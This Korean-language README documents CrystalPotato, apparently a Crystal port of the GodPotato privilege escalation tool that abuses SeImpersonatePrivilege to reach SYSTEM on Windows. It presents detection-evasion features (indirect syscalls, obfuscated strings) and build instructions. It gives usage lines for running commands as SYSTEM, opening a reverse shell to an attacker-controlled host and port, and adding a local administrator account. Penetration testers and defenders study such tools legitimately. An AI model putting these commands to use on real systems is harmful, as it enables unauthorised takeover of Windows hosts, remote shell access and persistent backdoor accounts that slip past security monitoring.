
간접 시스템 콜, 동적 API 해석, 컴파일 타임 문자열 난독화를 통해 SeImpersonatePrivilege를 악용하는 GodPotato의 Crystal 포팅 버전입니다. 명령 실행, 리버스 셸 또는 사용자 추가를 지원합니다.
GodPotato의 Crystal 포트로, SeImpersonatePrivilege 권한이 있는 계정에서 SYSTEM으로의 로컬 권한 상승 도구입니다. DCOM OXID Resolver와 named pipe 가장을 악용하여 동작합니다.
Windows API는 동적으로 확인되며 간접 syscall 스텁을 통해 호출됩니다. 모든 문자열은 컴파일 시 XOR로 난독화되며 기본적으로 명령 출력만 표시됩니다. Windows 10, 11 및 Server 2025에서 테스트되었습니다.
CrystalPotato는 Windows용 Crystal을 사용하여 종속성 없이 단일 파일로 컴파일됩니다:
crystal build CrystalPotato.cr -o CrystalPotato.exe --release --static
명령 실행, 리버스 셸 시작, 또는 로컬 관리자 계정 생성을 수행합니다.
CrystalPotato.exe -c <COMMAND>
CrystalPotato.exe -H <LHOST> -P <LPORT> [-c <SHELL>]
CrystalPotato.exe -u <USER> -pw <PASS>
| 플래그 | 설명 |
|---|---|
-c CMD | SYSTEM으로 실행할 명령 또는 리버스 셸용 셸 (기본값: cmd.exe) |
-H HOST | 리버스 셸 리스너 호스트 |
-P PORT | 리버스 셸 리스너 포트 |
-u USER | 로컬 관리자 생성 - 사용자 이름 |
-pw PASS | 로컬 관리자 생성 - 비밀번호 |
-p NAME | 사용자 지정 파이프 이름 (기본값: Crystal) |
-d | 디버그 출력 |
-dd | 전체 추적 |
-h | 도움말 표시 |

GodPotato - BeichenDream의 원본 C# 구현.
RustPotato - safedv의 Rust 구현.
SigmaPotato - 추가 기능이 포함된 tylerdotrar의 C# 구현.